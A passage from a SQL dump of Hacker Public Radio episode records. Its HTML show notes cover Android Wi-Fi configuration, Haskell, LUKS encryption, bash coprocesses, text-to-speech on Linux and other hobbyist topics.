href=\"https://f-droid.org/en/packages/com.termux/\">Termux</a> a Android Terminal emulator, to drop to a shell and fix the problem.\r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2810_4.png\" />\r\n</p>\r\n\r\n<p>\r\nI used <em>su</em> to get root access but you could also change to the user <em>wifi</em>.\r\n</p>\r\n<p>\r\nThe file you need to edit is <strong>/data/misc/wifi/wpa_supplicant.conf</strong>. It\'s probably best to edit this file with the wifi off.\r\n</p>\r\n<pre>\r\nnetwork={\r\n	ssid=\"OpenWireless.Org\"\r\n	key_mgmt=NONE\r\n	priority=15\r\n	id_str=\"{snip}\"\r\n}\r\n</pre>\r\n<p>\r\nScroll down to the network that is giving you trouble and add <strong>disabled=1</strong>\r\n</p>\r\n<pre>\r\nnetwork={\r\n	ssid=\"OpenWireless.Org\"\r\n	key_mgmt=NONE\r\n	priority=15\r\n	disabled=1\r\n	id_str=\"{snip}\"\r\n}\r\n</pre>\r\n<p>\r\nI ended up copying the file to the sdcard, and editing it there. I then copied it back as su and used <strong>chown wifi:wifi /data/misc/wifi/wpa_supplicant.conf</strong> to fix the permissions.\r\n</p>\r\n\r\n<p>\r\nOnce that\'s done you can reboot the phone and connect to the network without a problem. You should also consider putting up an <a href=\"https://openwireless.org/\">Open Wireless</a> access point yourself.\r\n</p>\r\n',30,0,1,'CC-BY-SA','Android, fdroid, lineageos, AFWall+, Wi-Fi, wpa_supplicant.conf, termux',0,0,1),
(2787,'2019-04-09','NodeJS Part 1',613,'I don\'t know Javascript do ?','<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://github.com/crazy-max/nodejs-portable\" class=\"uri\">https://github.com/crazy-max/nodejs-portable</a></li>\r\n<li><a href=\"https://github.com/GoogleChrome/puppeteer\" class=\"uri\">https://github.com/GoogleChrome/puppeteer</a></li>\r\n</ul>\r\n',36,0,0,'CC-BY-SA','NodeJS,puppeteer,programming,Javascript',0,0,1),
(2796,'2019-04-22','IRS,Credit Freezes and Junk Mail Ohh My!',746,'IRS Credit Freezes and Junk Mail','<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><p><a href=\"https://darknetdiaries.com/episode/26/\" class=\"uri\">https://darknetdiaries.com/episode/26/</a></p></li>\r\n<li><a href=\"https://clark.com/personal-finance-credit/credit-freeze-and-thaw-guide/\" class=\"uri\">https://clark.com/personal-finance-credit/credit-freeze-and-thaw-guide/</a></li>\r\n<li><a href=\"https://clark.com/personal-finance-credit/free-credit-freezes/\" class=\"uri\">https://clark.com/personal-finance-credit/free-credit-freezes/</a></li>\r\n<li><p><a href=\"https://clark.com/consumer-issues-id-theft/opting-out-of-assorted-junk-mailings/\" class=\"uri\">https://clark.com/consumer-issues-id-theft/opting-out-of-assorted-junk-mailings/</a></p></li>\r\n<li><p><a href=\"https://www.youtube.com/watch?v=zWVoyrzqRbU\" class=\"uri\">https://www.youtube.com/watch?v=zWVoyrzqRbU</a> DROP HOE!</p></li>\r\n</ul>\r\n',36,0,0,'CC-BY-SA','IRS,Credit Freeze,Junk Mail,hacking',0,0,1),
(2788,'2019-04-10','Looping in Haskell',2848,'tuturto describes some loop-like constructs in Haskell','<p>Haskell is functional language where data is immutable. This means that regular for-loops don’t really exist. Looping however is very common pattern in programs in general. Here are some patterns how to do that in Haskell.</p>\r\n<h2 id=\"recursion\">Recursion</h2>\r\n<p>Calculating Fibonacci numbers is common example (sort of like hello world in Haskell). There’s many different implementations at https://wiki.haskell.org/The_Fibonacci_sequence if you’re interested on having a look.</p>\r\n<p>Simple recursive definition:</p>\r\n<pre><code>fibs :: Integer -&gt; Integer\r\nfibs 0 = 0\r\nfibs 1 = 1\r\nfibs n = fibs (n-1) + fibs (n-2)</code></pre>\r\n<p>When called with <code>0</code> result is <code>0</code>. When called with <code>1</code> result is <code>1</code>. For all other cases, <code>fibs</code> is called with values <code>n-1</code> and <code>n-1</code> and the results are summed together. This works fine when <code>n</code> is small, but calculation gets slow really quickly with bigger values.</p>\r\n<p>Another way is to define list of all Fibonacci numbers recursively:</p>\r\n<pre><code>allFibs :: [Integer]\r\nallFibs = 0 : 1 : zipWith (+) allFibs (tail allFibs)</code></pre>\r\n<p>Here a list is constructed. First element is <code>0</code>, second element is <code>1</code> and rest of the list is obtained by summing the list with its tail (everything but the first element of the list). Definition is recursive and defines all Fibonacci numbers. However, Haskell doesn’t evaluate whole list, but only as much of it as is required.</p>\r\n<p>Common pattern of processing elements in a list, producing a new list:</p>\r\n<pre><code>addOne :: [Integer] -&gt; [Integer]\r\naddOne [] = []\r\naddOne (x:xs) = x + 1 : addOne xs</code></pre>\r\n<p>Two cases, when called with an empty list <code>[]</code>, result is empty list. For all other cases, list is taken apart <code>(x:xs)</code>, <code>x</code> contains first element of the list and <code>xs</code> is rest of the list. Body of the function creates a new list where head is <code>x + 1</code> and tail is <code>addOne xs</code>. This processes whole list of <code>Integer</code> by adding one to each value. It also reverses the list.</p>\r\n<p>Second common pattern is processing a list and reducing it to a single value:</p>\r\n<pre><code>sumAll :: Integer -&gt; [Integer] -&gt; Integer\r\nsumAll n [] = n\r\nsumAll n (x:xs) = sumAll (n + x) xs</code></pre>\r\n<p>If given list is empty (the terminal case), result is <code>n</code>. Second case again takes list apart <code>(x:xs)</code>, adds <code>x</code> and <code>n</code> together and recursive call <code>sumAll</code> with tail of the list.</p>\r\n<p>This common pattern is discarding some elements of a list:</p>\r\n<pre><code>evenOnly :: [Integer] -&gt; [Integer]\r\nevenOnly [] = []\r\nevenOnly (x:xs) = \r\n    if even x\r\n        then x : evenOnly xs\r\n        else evenOnly xs</code></pre>\r\n<p>Again, result of empty list is just empty list. In all other cases we first check if <code>x</code> is even. If so, new list is constructed where head is <code>x</code> and tail is <code>evenOnly xs</code>. If <code>x</code> isn’t even, it’s discarded and <code>evenOnly</code> is called recursively with tail of the list.</p>\r\n<h2 id=\"more-tools\">More tools</h2>\r\n<p>Writing recursion by hand gets tedious and sometimes confusing (if you listened to the show, you probably noticed how I got confused and had to check that <code>evenOnly</code> actually works as I thought it would). For that reason, there are tools that abstract these common patterns and given them names.</p>\r\n<p>First is <code>map</code>. It applies given function to each element of a list, thus producing a new list:</p>\r\n<pre><code>&gt; map (+1) [1..10]\r\n[2, 3, 4, 5, 6, 7, 8, 9, 10, 11]\r\n&gt; map odd [1..10]\r\n[True, False, True, False, True, False, True, False, True, False]</code></pre>\r\n<p>Second is <code>fold</code>. There is good article at https://wiki.haskell.org/Foldr_Foldl_Foldl%27 that talks about differences between different folds.</p>\r\n<p>The basic idea behind each fold is the same, they take a function and initial value and then apply them to first element of list, producing a value. This value is then applied with the function to the second element of the list and so on, until whole list has been reduced to a single value. Calculating a sum of list is so common operation that there’s specific function for that: <code>sum</code>.</p>\r\n<pre><code>&gt; foldr (+) 0 [1..10]\r\n55\r\n&gt; foldl (+) 0 [1..10]\r\n55\r\n&gt; sum [1..10]\r\n55</code></pre>\r\n<p><code>scan</code> is similar to <code>fold</code>, except for returning only the final value, it also returns intermediate ones. Here it’s easier to observe how <code>scanr</code> and <code>scanl</code> differ from each other:</p>\r\n<pre><code>&gt; scanr (+) 0 [1..10]\r\n[55,54,52,49,45,40,34,27,19,10,0]\r\n&gt; scanl (+) 0 [1..10]\r\n[0,1,3,6,10,15,21,28,36,45,55]</code></pre>\r\n<p>Last of the trifecta is <code>filter</code> that is used to select some of the elements in a list based on a supplied function.</p>\r\n<pre><code>&gt; filter odd [1..10]\r\n[1, 3, 5, 7, 9]\r\n&gt; filter even [1..]\r\n[2, 4, 6, 8, 10, 12, 14, 16...]\r\n&gt; take 5 $ filter even [1..] \r\n[2, 4, 6, 8, 10]</code></pre>\r\n<h2 id=\"even-more-tools\">Even more tools</h2>\r\n<p>There are even more tools at our disposal. Prelude is basic library of Haskell and browsing online documentation at https://hackage.haskell.org/package/base-4.12.0.0/docs/Prelude.html might yield interesting information.</p>\r\n<p>For example, constructing some lists:</p>\r\n<ul>\r\n<li><code>iterate :: (a -&gt; a) -&gt; a -&gt; [a]</code> For list where function is applied repeatedly.</li>\r\n<li><code>repeat :: a -&gt; [a]</code> for a list that contains infinite amount of <code>a</code>.</li>\r\n<li><code>replicate :: Int -&gt; a -&gt; [a]</code> For a list that contains finite amount of <code>a</code>.</li>\r\n<li><code>cycle :: [a] -&gt; [a]</code> For a infinite list that repeats same list over and over again.</li>\r\n</ul>\r\n<h2 id=\"finding-tools\">Finding tools</h2>\r\n<p>It’s all about knowing the right tools and finding them when needed. Luckily, you don’t have to memorize big stack of notes, but can turn to https://hoogle.haskell.org/ which is Haskell API search engine. It can search based on name or type signature. I often use it to find out if somebody has already written a function that I’m thinking of writing myself.</p>\r\n<p>If you want to send questions or comments, I can be reached with email or at fediverse where I’m tuturto@mastodon.social. This episode is direct result of feedback that I got from previous one. If there’s Haskell topic you would love to hear more, drop me line or even better, research it by yourself and make a cool Hacker Public Radio episode.</p>\r\n',364,107,0,'CC-BY-SA','haskell, programming',0,0,1),
(2789,'2019-04-11','Pacing In Storytelling',998,'Lostnbronx takes a stab at explaining why the pace of your story matters.','<p>Some stories, that are otherwise cookie-cutter in form, possessing familiar situations and clichéd characters, seem to nonetheless stand out. Other tales that might have great ideas, intriguing plots, and vivid characters, seem to hit the ground with a thud. The determining value here may lie with the pacing of the story.</p>\r\n<p>How does pacing (that is, timing) affect your story? Why does it matter? Can you make improvements in the pace by moving things around? What’s the best approach for creating it to begin with?</p>\r\n<p>Lostnbronx meanders for a while, often losing his way, and rarely making a coherent point regarding this complicated topic.</p>',107,105,0,'CC-0','stories, storytelling, pacing, lostnbronx',0,0,1),
(2791,'2019-04-15','LUKS like truecrypt',1523,'Klaatu demonstrates how to use LVM and cryptsetup to create and use portable encrypted filesystems','<p>\r\nCreate an empty file of a predetermined size:\r\n</p>\r\n\r\n<pre><code>$ fallocate --length 512M foo.img\r\n</code></pre>\r\n<p>Create a LUKS container on it:</p>\r\n<pre><code>$ cryptsetup --verify-passphrase luksFormat foo.img\r\n</code></pre>\r\n<p>Set it up:</p>\r\n<pre><code>$ sudo cryptsetup luksOpen foo.img foo\r\n$ ls /dev/mapper\r\nfoo\r\n$\r\n</code></pre>\r\n<p>Make a file system on it:</p>\r\n<pre><code>$ sudo mkfs.ext2 /dev/mapper/foo\r\n</code></pre>\r\n<p>If you don\'t need it for anything now, you can close it:\r\n</p>\r\n<pre><code>$ sudo cryptsetup luksClose foo\r\n$ ls /dev/mapper\r\n$\r\n</code></pre>\r\n<p>Mount it as a usable filesystem:</p>\r\n<pre><code>$ sudo mkdir /crypt\r\n$ sudo mount /dev/mapper/foo /crypt\r\n</code></pre>\r\n<p>\r\nDepending on your system configuration, you may need to set up reasonable permissions:\r\n</p>\r\n<pre><code>$ sudo mkdir /crypt/mystuff\r\n$ sudo chown klaatu:users /crypt/mystuff\r\n$ sudo chmod 770 /crypt/mystuff\r\n$ echo \"hello world\" &gt;&gt; /crypt/mystuff/file.txt\r\n</code></pre>\r\n<p>\r\nWhen you\'re finished using your encrypted vault, unmount and close it:\r\n</p>\r\n<pre><code>$ sudo umount /crypt\r\n$ sudo cryptsetup luksClose foo\r\n</code></pre>\r\n\r\n',78,74,0,'CC-BY-SA','encryption',0,0,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (2793,'2019-04-17','bash coproc: the future (2009) is here',1276,'clacke discovers bash\'s coproc keyword and explains some toy examples','<p>If you want the full manuscript, that’s at <a href=\"https://gitlab.com/clacke/hpr/blob/master/hpr2793_bash_coproc_manuscript.adoc\">gitlab: hpr2793_bash_coproc_manuscript.adoc</a>. It’s almost a transcript, but I added spontaneous commentary while reading the examples, so that’s not in the manuscript.</p>\r\n<p>Episode errata:</p>\r\n<ul>\r\n<li><p>Command substitution with <code>$()</code> is perfectly valid according to POSIX, and is accepted both by <code>dash</code> and by <code>bash --posix</code>. It’s not to be considered a bashism.</p></li>\r\n<li><p>I fumbled the pronunciation of the <code>printf</code> format string in one place and said &quot;parenthesis&quot; instead of &quot;percentage sign&quot;.</p></li>\r\n<li><p>I tried to say &quot;space&quot; every time there’s a space, but I know I forgot it in a few places. But you probably need to look at the show notes to really make sense of the commands anyway.</p></li>\r\n</ul>\r\n<p>Example #1:</p>\r\n<div class=\"sourceCode\" id=\"cb1\"><pre class=\"sourceCode bash\"><code class=\"sourceCode bash\"><a class=\"sourceLine\" id=\"cb1-1\" data-line-number=\"1\">$ <span class=\"bu\">echo</span> <span class=\"va\">$(</span><span class=\"bu\">echo</span> hacker public radio<span class=\"va\">)</span></a>\r\n<a class=\"sourceLine\" id=\"cb1-2\" data-line-number=\"2\"><span class=\"ex\">hacker</span> public radio</a>\r\n<a class=\"sourceLine\" id=\"cb1-3\" data-line-number=\"3\">$ <span class=\"va\">$(</span><span class=\"bu\">echo</span> echo hacker public radio<span class=\"va\">)</span>  # <span class=\"ex\">It</span> can even supply the command itself, not just parameters. Note the word splitting.</a>\r\n<a class=\"sourceLine\" id=\"cb1-4\" data-line-number=\"4\"><span class=\"ex\">hacker</span> public radio</a>\r\n<a class=\"sourceLine\" id=\"cb1-5\" data-line-number=\"5\">$ <span class=\"st\">&quot;</span><span class=\"va\">$(</span><span class=\"bu\">echo</span> echo hacker public radio<span class=\"va\">)</span><span class=\"st\">&quot;</span>  # <span class=\"ex\">Counteract</span> word splitting by putting the command substitution in quotes.</a>\r\n<a class=\"sourceLine\" id=\"cb1-6\" data-line-number=\"6\"><span class=\"ex\">bash</span>: echo hacker public radio: command not found</a>\r\n<a class=\"sourceLine\" id=\"cb1-7\" data-line-number=\"7\">$ <span class=\"kw\">`</span><span class=\"bu\">echo</span> echo hacker public radio<span class=\"kw\">`</span>  # <span class=\"ex\">Old-style</span> command substitution</a>\r\n<a class=\"sourceLine\" id=\"cb1-8\" data-line-number=\"8\"><span class=\"ex\">hacker</span> public radio</a></code></pre></div>\r\n<p>More on command substitution in Dave’s <a href=\"https://hackerpublicradio.org/eps.php?id=1903\">hpr1903: Some further Bash tips</a>.</p>\r\n<p>Example #2:</p>\r\n<div class=\"sourceCode\" id=\"cb2\"><pre class=\"sourceCode bash\"><code class=\"sourceCode bash\"><a class=\"sourceLine\" id=\"cb2-1\" data-line-number=\"1\">$ <span class=\"bu\">echo</span> <span class=\"op\">&lt;(</span><span class=\"bu\">echo</span> hacker public radio<span class=\"op\">)</span></a>\r\n<a class=\"sourceLine\" id=\"cb2-2\" data-line-number=\"2\"><span class=\"ex\">/dev/fd/63</span></a>\r\n<a class=\"sourceLine\" id=\"cb2-3\" data-line-number=\"3\">$ <span class=\"fu\">cat</span> <span class=\"op\">&lt;(</span><span class=\"bu\">echo</span> hacker public radio<span class=\"op\">)</span></a>\r\n<a class=\"sourceLine\" id=\"cb2-4\" data-line-number=\"4\"><span class=\"ex\">hacker</span> public radio</a></code></pre></div>\r\n<p>You can also combine process substitution with redirection.</p>\r\n<p>Example #3:</p>\r\n<div class=\"sourceCode\" id=\"cb3\"><pre class=\"sourceCode bash\"><code class=\"sourceCode bash\"><a class=\"sourceLine\" id=\"cb3-1\" data-line-number=\"1\">$ <span class=\"bu\">echo</span> hacker public radio <span class=\"op\">&gt;</span> <span class=\"op\">&gt;(</span><span class=\"fu\">sed</span> -e <span class=\"st\">&#39;s/$/!/&#39;</span><span class=\"op\">)</span>  # You need the space between the greater-thans here!</a>\r\n<a class=\"sourceLine\" id=\"cb3-2\" data-line-number=\"2\"><span class=\"ex\">hacker</span> public radio!</a></code></pre></div>\r\n<p>More on process substitution in Dave’s <a href=\"https://hackerpublicradio.org/eps.php?id=2045\">hpr2045: Some other Bash tips</a>.</p>\r\n<p>For a description of a hack for creating bidirectional anonymous pipes in bash, see <a href=\"https://libranet.de/display/0b6b25a8-135c-83e5-1f4b-82a136800329\">my Fediverse post on this</a>, and I owe you a show.</p>\r\n<p>A coprocess in bash is a subshell to which you have access to two file descriptors: Its stdin and its stdout.</p>\r\n<p>The two file descriptors will be put in a bash array. To learn more about arrays, check out Dave’s series within the bash series, a whopping five-part quadrology including <a href=\"https://hackerpublicradio.org/eps.php?id=2709\">hpr2709</a>, <a href=\"https://hackerpublicradio.org/eps.php?id=2719\">hpr2719</a>, <a href=\"https://hackerpublicradio.org/eps.php?id=2729\">hpr2729</a>, <a href=\"https://hackerpublicradio.org/eps.php?id=2739\">hpr2739</a> and <a href=\"https://hackerpublicradio.org/eps.php?id=2756\">hpr2756</a>.</p>\r\n<p>You create a coprocess using the <code>coproc</code> keyword, brand spanking new since bash 4 from 2009. I am filing issues to <a href=\"https://bitbucket.org/birkenfeld/pygments-main/issues\">pygments</a> and <a href=\"https://savannah.gnu.org/bugs/?group=src-highlite\">GNU src-highlite</a> to support it.</p>\r\n<p>There are two ways to call coproc. The first way is to give <code>coproc</code> a <em>simple command</em>.</p>\r\n<p>Example #4:</p>\r\n<div class=\"sourceCode\" id=\"cb4\"><pre class=\"sourceCode bash\"><code class=\"sourceCode bash\"><a class=\"sourceLine\" id=\"cb4-1\" data-line-number=\"1\">$ <span class=\"ex\">coproc</span> :<span class=\"kw\">;</span> <span class=\"bu\">declare</span> -p <span class=\"va\">COPROC</span></a>\r\n<a class=\"sourceLine\" id=\"cb4-2\" data-line-number=\"2\">[<span class=\"ex\">1</span>] 25155</a>\r\n<a class=\"sourceLine\" id=\"cb4-3\" data-line-number=\"3\"><span class=\"bu\">declare</span> -a <span class=\"va\">COPROC=([0]=</span><span class=\"st\">&quot;63&quot;</span> <span class=\"va\">[1]=</span><span class=\"st\">&quot;60&quot;</span><span class=\"va\">)</span></a>\r\n<a class=\"sourceLine\" id=\"cb4-4\" data-line-number=\"4\">[<span class=\"ex\">1</span>]+  Done                    coproc COPROC :</a></code></pre></div>\r\n<p>The other way is to give <code>coproc</code> an explicit name and a <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Command-Grouping\">Command Grouping</a>.</p>\r\n<p>Example #5:</p>\r\n<div class=\"sourceCode\" id=\"cb5\"><pre class=\"sourceCode bash\"><code class=\"sourceCode bash\"><a class=\"sourceLine\" id=\"cb5-1\" data-line-number=\"1\">$ <span class=\"ex\">coproc</span> HPR (:); <span class=\"bu\">declare</span> -p <span class=\"va\">HPR</span></a>\r\n<a class=\"sourceLine\" id=\"cb5-2\" data-line-number=\"2\">[<span class=\"ex\">1</span>] 25469</a>\r\n<a class=\"sourceLine\" id=\"cb5-3\" data-line-number=\"3\"><span class=\"bu\">declare</span> -a <span class=\"va\">HPR=([0]=</span><span class=\"st\">&quot;63&quot;</span> <span class=\"va\">[1]=</span><span class=\"st\">&quot;60&quot;</span><span class=\"va\">)</span></a>\r\n<a class=\"sourceLine\" id=\"cb5-4\" data-line-number=\"4\">[<span class=\"ex\">1</span>]+  Done                    coproc HPR ( : )</a></code></pre></div>\r\n<p>Slightly less contrived example #6:</p>\r\n<pre><code>$ coproc GREP (grep --line-buffered pub); printf &#39;%s\\n&#39; hacker public radio &gt;&amp;${GREP[1]}; cat &lt;&amp;${GREP[0]}\r\n[1] 25627\r\npublic\r\n^C\r\n$ kill %1\r\n[1]+  Terminated              coproc GREP ( grep --color=auto --line-buffered pub )</code></pre>\r\n<p>Here grep and cat wait forever for more input, so we have to kill them to continue our lesson.</p>\r\n<p>But we know that <code>GREP</code> will only return one line, so we can just read that one line. And when we are done feeding it lines, we can close our side of its stdin, and it will notice this and exit gracefully.</p>\r\n<p>I’m glad I stumbled over that <code>{YOURVARIABLE}&gt;&amp;-</code> syntax for having a dereferenced variable as the left FD of a redirection. Originally I used an ugly <code>eval</code>.</p>\r\n<p>Example #7:</p>\r\n<pre><code>$ coproc GREP (grep --line-buffered pub); printf &#39;%s\\n&#39; hacker public radio &gt;&amp;${GREP[1]}; head -n1 &lt;&amp;${GREP[0]}; exec {GREP[1]}&gt;&amp;-\r\n[1] 25706\r\npublic\r\n[1]+  Done                    coproc GREP ( grep --color=auto --line-buffered pub )</code></pre>\r\n<p>There we go! Not the most brilliant example, but it shows all the relevant moving parts, and we covered a couple of caveats.</p>\r\n<p>Now go out and play with this and come back with an example on how this is actually useful in the real world, and submit a show!</p>\r\n\r\n',311,42,0,'CC-BY-SA','bash, coproc, subshell',0,0,1),
(2797,'2019-04-23','Writing Web Game in Haskell - Simulation at high level',1547,'tuturto gives overview of simulation in their 4x game','<p>So far we have been concentrating on separate pieces of the game. Now it’s time to put some of them together as a simulation.</p>\n<h2 id=\"overview-of-simulation\">Overview of simulation</h2>\n<p>Simulation is done in discrete steps. Each step is roughly 1 earth month (completely arbitrary decision). Shorter than that and there might not be enough happening during turns to keep things interesting. Much longer than that and player might not have enough control on how to react things.</p>\n<p>In any case, current time is stored in database in table <code>time</code>. There should be only one row in that table at any given time. And that row has only one value, current time. Time is stored as integer as I didn’t want to deal with problems that you get when adding fractions to a float time after time. So current time (March 2019) would be <code>2019.3</code> in game terms and stored as <code>20193</code> in database.</p>\n<p>Main processing is done in function called <code>processTurn</code> that is shown below. It advances time for one decimal month, removes all expired statuses as explained in <a href=\"https://hackerpublicradio.org/eps.php?id=2768\">episode 2768</a> and then loads all factions.</p>\n<p>After that, various steps of the simulation are carried out for all loaded factions. These include handling special events as explained in <a href=\"https://hackerpublicradio.org/eps.php?id=2748\">episode 2748</a> and doing observations and report writing in manner described <a href=\"https://hackerpublicradio.org/eps.php?id=2703\">episode 2703</a>.</p>\n<pre><code>processTurn :: (BaseBackend backend ~ SqlBackend,\n    BackendCompatible SqlBackend backend, PersistUniqueRead backend,\n    PersistQueryWrite backend,\n    PersistQueryRead backend, PersistStoreWrite backend, MonadIO m) =&gt;\n    ReaderT backend m Time\nprocessTurn = do\n    newTime &lt;- advanceTime\n    _ &lt;- removeExpiredStatuses newTime\n    factions &lt;- selectList [] [ Asc FactionId ]\n    _ &lt;- mapM (handleFactionEvents newTime) factions\n    mapM_ handleFactionFood factions\n    mapM_ (handleFactionConstruction newTime) factions\n    _ &lt;- mapM (addSpecialEvents newTime) factions\n    -- Doing observations should always be done last to ensure players have\n    -- recent reports of property they have full control, ie. planets.\n    -- Otherwise it&#39;s possible that they&#39;ll receive reports that are one\n    -- turn out of sync.\n    mapM_ (handleFactionObservations newTime) factions\n    return newTime</code></pre>\n<h2 id=\"more-mapping\">More mapping</h2>\n<p>Remember <code>map</code> and <code>fmap</code> that are used to run a function to each element in a list or general structure? <code>mapM</code> works in a similar way, but is used in monadic context. In <code>processTurn</code> function, we’re dealing with input and output and have IO monad present to allow us to do that (<code>MonadIO m</code> part of the type signature).</p>\n<p>If you step back a bit and squint a bit, then <code>map :: (a -&gt; b) -&gt; [a] -&gt; [b]</code> and <code>fmap :: (a -&gt; b) -&gt; f a -&gt; f b</code> and <code>mapM :: Monad m =&gt; (a -&gt; m b) -&gt; t a -&gt; m (t b)</code> look pretty similar. Each take a function, structure and produce a new structure which values were created by running the given function for each element of the original structure.</p>\n<p>The difference is that <code>map</code> works only for lists, <code>fmap</code> works for functors (that were covered in <a href=\"https://hackerpublicradio.org/eps.php?id=2778\">episode 2778</a>) and <code>mapM</code> works for structures in monadic context.</p>\n<p>Best way to contact me nowadays is either by email or through fediverse where I’m tuturto@mastodon.social.</p>\n',364,107,0,'CC-BY-SA','haskell, persistent',0,0,1),
(2798,'2019-04-24','Should Podcasters be Pirates ?',725,'Knightwise waxes nostalgically on the early days of podcasting and wonders if we all sold out?','<p>In a car rant I think back to the early days of podcasting and how the ambience and vision of podcasting was far from the mainstream media approach from today. Have we all sold out ?</p>\r\n',111,0,1,'CC-BY-SA','podcast,pirate radio,decentralisation',0,0,1),
(2802,'2019-04-30','Mid-life (?) assessment',991,'It seems life goes faster and faster and then turns around and goes slower and slower','<p>At 40, I’m at the middle of the mean life expectancy in most parts of the world. What’s happened so far, and where do I go from here?</p>\r\n<p>I look at my life’s past in increasingly smaller chunks of years, and then at my life’s future in increasingly larger chunks of years, and speculate about those 80 years — or perhaps many more? — of expected lifetime.</p>\r\n<p>I’m saying mostly the things I wrote at <a href=\"https://loadaverage.org/conversation/10689347\" class=\"uri\">https://loadaverage.org/conversation/10689347</a> but with some small updates from the last 9 months.</p>\r\n',311,0,0,'CC-BY-SA','life, kids, work, medicine, future',0,0,1),
(2792,'2019-04-16','Playing around with text to speech synthesis on Linux',1203,'Playing around with different text to speech programs to see what is possible.','<p>Below the script I used to generate a bunch of wav files with different text to speech applications.</p>\r\n<pre><code>#!/bin/bash\r\n\r\nstring=&quot;This is HPR episode 2792 entitled \\&quot;Playing around with text to speech synthesis on Linux\\&quot; and is part of the series \\&quot;Sound Scapes\\&quot;. It is hosted by Yeroon Bahten and is about 20 minutes long and carries a clean flag.&quot;\r\necho &quot;${string}&quot; &gt; text.txt\r\n\r\nespeak -w espeak.wav &quot;${string}&quot; \r\nespeak -w espeak-ng-v-mb-us1.wav -v mb-us1 &quot;${string}&quot;\r\nespeak -w espeak-ng-v-mb-us2.wav -v mb-us2 &quot;${string}&quot;\r\nespeak -w espeak-ng-v-mb-us3.wav  -v mb-us3 &quot;${string}&quot;\r\nespeak-ng &quot;${string}&quot;\r\nespeak-ng -v en-gb &quot;${string}&quot;\r\nespeak-ng -w espeak-ng-en-gb-scotland.wav -v en-gb-scotland &quot;${string}&quot;\r\nespeak-ng -w espeak-ng-en-us.wav  -v en-us &quot;${string}&quot;\r\n\r\nflite -o flite-voice-cmu_us_slt.wav -voice cmu_us_slt  &quot;${string}&quot;\r\n\r\necho &quot;${string}&quot;| festival --language english --tts # same as next line\r\necho &quot;${string}&quot;| text2wave --language british_english --tts -o festival_british_english.wav\r\ntext2wave -o festival_british_english.wav  text.txt\r\n\r\nfor voice in don_diphone kal_diphone ked_diphone rab_diphone\r\ndo\r\n  text2wave -o festival_voice_${voice}.wav -eval &quot;(voice_${voice} )&quot;  text.txt\r\ndone\r\n\r\n# Gnustep say, recorded with audio recorder.\r\nsay &quot;${string}&quot;\r\n\r\ntext2wave -o festival_voice_cmu_us_slt_arctic_hts.wav -eval &quot;(voice_cmu_us_slt_arctic_hts )&quot; text.txt\r\n\r\n# merlin https://github.com/CSTR-Edinburgh/merlin\r\n\r\n# marytts: https://github.com/marytts</code></pre>\r\n',369,101,0,'CC-BY-SA','speech synthesis linux',0,0,1),
(2794,'2019-04-18','Interview with Martin Wimpress',2412,'In this episode, Yannick talks with Martin Wimpress about the Ubuntu MATE project','<p>Ubuntu, MATE.</p>\r\n<p>Two words which, taken separately, refer to great products.</p>\r\n<p>On one side, Ubuntu, one of the most popular, if not <em>the</em> most popular, linux distribution.</p>\r\n<p>On the other side, the MATE desktop environment, also very popular.</p>\r\n<p>One person took those two elements and combined them together to make Ubuntu MATE. That person is Martin Wimpress, and he joined me on the 21st of March to talk about the past, present, and future of the project.</p>\r\n',370,78,0,'CC-BY-SA','ubuntu, mate, ubuntu mate, martin wimpress, raspberry pi, desktop environment, linux',0,0,1),
(2808,'2019-05-08','Haskell function types',1469,'tuturto gives overview of function types in Haskell','<p>Haskell is statically typed language, meaning that during compilation, programs are checked for type correctness. This means that you won’t accidentally mix for example text and numbers. Haskell does type inference. The compiler will try and figure out what kind of types would make your program to be valid in terms of types. Programmer could completely omit types, but it’s often helpful to write type signatures for at least top level definitions. These will be helpful for both the programmers and compilers.</p>\r\n<h2 id=\"concrete-types\">concrete types</h2>\r\n<p>Simplest case is where types are spelled out definitely. Function <code>add</code> below takes two <code>Integer</code> parameters and produces <code>Integer</code> value. Note that types are written in upper case.</p>\r\n<p><code>add :: Integer -&gt; Integer -&gt; Integer</code></p>\r\n<p>It’s possible to not use concrete types. In following example <code>a</code> (note the lower case) can be anything. So function takes two values of <code>a</code>, a <code>Boolea</code> and produces <code>a</code>. This is useful technique for writing very general functions.</p>\r\n<p><code>choose :: a -&gt; a -&gt; Boolean -&gt; a</code></p>\r\n<h2 id=\"ad-hoc-polymorphism\">ad hoc polymorphism</h2>\r\n<p>In previous example, we wouldn’t be able to do much at all with <code>a</code> as we don’t know its type. Sometimes we need to know a bit more about type, without specifically declaring its type. For those cases type constraints are useful.</p>\r\n<p><code>add :: (Num a) =&gt; a -&gt; a -&gt; a</code></p>\r\n<p>This version of <code>add</code> again takes two parameters, both being type <code>a</code> and produces value <code>a</code>. But <code>(Num a) =&gt;</code> part in the signature constraints <code>a</code> to be instance of <code>Num</code>. This type class (I’ll talk about these some other time) defines that each instance of it will have set of functions: <code>+</code>, <code>-</code>, <code>*</code>, <code>negate</code>, <code>abs</code>, <code>signum</code> and <code>fromInteger</code>. So now our <code>add</code> function can use those functions, regardless of what specific type <code>a</code> is.</p>\r\n<h2 id=\"parametrized-functions\">parametrized functions</h2>\r\n<p>Types used in function signature can be parametrized. If we wanted a function that returns a first element of any list, we could have following signature: <code>first :: [a] -&gt; Maybe a</code></p>\r\n<p><code>first</code> takes single parameter, list of <code>a</code> and returns <code>Maybe a</code>. <code>Maybe</code> is a type that is used to signify a value that might or might not be present and has following definition:</p>\r\n<pre><code>data Maybe a =\r\n     Nothing\r\n     | Just a</code></pre>\r\n<p>So our function would return <code>Nothing</code> when given an empty list and <code>Just a</code> when given a list of at least one element.</p>\r\n<h2 id=\"using-functions\">using functions</h2>\r\n<p>Function application in Haskell doesn’t require parentheses around arguments. Calling our <code>add</code> function is just <code>add 1 2</code>. If one of the values is result of another function call, we need to tell which parameters belong to which function. Using <code>$</code> is one option: <code>add 1 $ add 2 3</code>, another option is to use parentheses: <code>add 1 (add 2 3)</code>.</p>\r\n<p>When function is called with less parameters than it expect, instead of run time error you’ll going to receive a function. In following example <code>addLots 5</code> will produce same value as <code>add 1000 5</code>:</p>\r\n<pre><code>addLots = add 1000\r\naddLots 5</code></pre>\r\n<p>Another 